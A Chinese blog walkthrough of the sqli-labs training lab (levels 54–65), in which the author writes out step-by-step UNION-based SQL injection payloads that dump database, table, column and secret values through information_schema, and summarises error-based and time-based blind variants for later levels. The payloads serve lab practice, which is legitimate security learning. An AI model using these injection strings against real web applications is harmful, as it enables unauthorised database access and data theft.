目录
Less54-十步以内获取密钥
首先我们进入54关:
可以看到这一关让我们在十步之内在系统给我们的数据库的表中找到密钥。也就是说,我们只有十次注入的机会,这十次中,我们要完成:找到闭合方式、爆破数据库、爆破数据库中的表、爆破表中的列、爆破列中的字段值、在字段值中找到密钥,最终通关。而且每一次失败后都所有数据都会重置。那我们就开始爆破吧。
首先寻找闭合方式,输入语句:
?id=1' and '1'='1
这种测试方法比较快,如果闭合方式找对了就会回显信息,如果不对直接把单引号换成其他闭合符号就可以。这样去测试闭合方式比较节省步骤。
页面回显:
可以看到回显出了数据,说明闭合方式就是单引号。接下来测试数据库列数以及显示位,输入语句:
?id=0' union select 1,2,3 --+
测试的时候直接使用 Union联合语句进行测试,这种方法可以同时测试列数和显示位,很好用。
页面回显:
可以看到回显出了显示位。
爆破数据库名
输入语句:
?id=0' union select 1,database(),3 --+
页面回显:
可以看到爆破出了当前数据库的名字,这里我们需要记一下数据库的名字,因为后面的爆破表名的时候要用。
爆破表名
输入语句:
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+
页面回显:
可以看到成功爆破了表的名字,这里把表名记下。
爆破列名
输入语句:
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ql73xm21z3' --+
页面回显:
可以看到成功爆破了列名。
爆破字段值
这里我选择有 Secret字样的表进行爆破,输入语句:
?id=0' union select 1,group_concat(secret_Z53V),3 from ql73xm21z3 --+
页面回显:
可以看到回显了字段值,我们尝试把其输入进入看看能不能成功进入,输入后页面回显:
通关成功。
Less55-十四步以内获取密钥
首先进入55关:
可以看到这一关和54关差不多,让我们在14步内完成以下操作:找到闭合方式、爆破数据库、爆破数据库中的表、爆破表中的列、爆破列中的字段值、在字段值中找到密钥。
那么我们就开始爆破吧,首先输入语句寻找闭合方式:
?id=1' and '1'='1
页面回显:
可以看到页面不正常回显,说明闭合方式不是单引号,我们测试以下双引号,输入语句:
?id=1" and "1"="1
页面回显:
可以看到闭合方式也不是双引号,那就有可能是单引号加括号这种类型的,输入语句测试:
?id=1') and ('1')=('1
页面回显:
可以看到闭合方式也不是单引号加括号,那就试试是不是整型,输入语句测试:
?id=1 and 1=1
页面回显:
可以看到页面正常回显了,说明闭合方式就可能是整型,我们输入语句进一步测试一下:
?id=0 union select 1,2,3 --+
页面回显:
页面并没有显示显示位,说明闭合方式就不是整型,上述尝试了很多之前见到的闭合方式都不是,那我们就试试只有括号的闭合方式,输入语句测试:
?id=0) union select 1,2,3 --+
页面回显:
可以看到页面成功回显了显示位,说明这一关的闭合方式就是单括号。
爆破数据库名
输入语句:
?id=0) union select 1,database(),3 --+
页面回显:
成功爆破数据库名字,这里记下数据库名,之后爆破表名的时候要用。
爆破表名
输入语句:
?id=0) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+
页面回显:
可以看到成功爆破了表名,这里记下表名。
爆破列名
输入语句:
?id=0) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ts5mx55wd6' --+
页面回显:
可以看到成功爆破了列名。
爆破字段值
这里我选择带有 Secret字样的表进行爆破,输入语句:
?id=0) union select 1,group_concat(secret_JRPN),3 from ts5mx55wd6 --+
页面回显:
可以看到成功爆破了字段值,我们将其输入进去看一下页面回显:
通关成功。
Less56-十四步以内获取密钥
这一关只是闭合方式和54关不一样,闭合方式为 ') ,其他都一样,这里不再赘述。
Less57-十四步以内获取密钥
这一关只是闭合方式和54关不一样,闭合方式为双引号,其余操作都一样,这里不再赘述。
Less58-五步以内获取密钥
这一关没有显示位,使用报错注入,闭合方式为单引号,这里不再赘述具体操作了。
Less59-五步以内获取密钥
这一关闭合方式为整型,其余和58关一样使用报错注入,这里不再赘述具体操作。
Less60-五步以内获取密钥
这一关闭合方式为 ") ,其余都和58关一样使用报错注入,这里不再赘述具体操作。
Less61-五步以内获取密钥
这一关闭合方式为 ')) ,其余都和58关一样使用报错注入,这里不再赘述具体操作。
Less62-130步以内获取密钥
这一关中没有报错回显,并且无论我们输入的对与错页面只会回显一种结果,所以这一关中我们使用时间延迟盲注,注入点为 ') 。具体操作我这里就不赘述了,时间延迟盲注已经在之前讲过了。大家有兴趣的可以去看一看之前的博客。
Less63-130步以内获取密钥
这一关的闭合方式为单引号,其余和62关一样,这里不再赘述。
Less64-130步以内获取密钥
这一关的闭合方式为 )) ,其余和62关一样,这里不再赘述。
Less65-130步以内获取密钥
这一关的闭合方式为 ") ,其余和62关一样,这里不再赘述。
总结
这一篇博客我主要讲解后续几关的通关方法,因为在实战中,可能你的注入机会是有限的,如果多次注入可能会封掉你的IP ,这几关就是锻炼你在有限的步骤中得到有用的信息。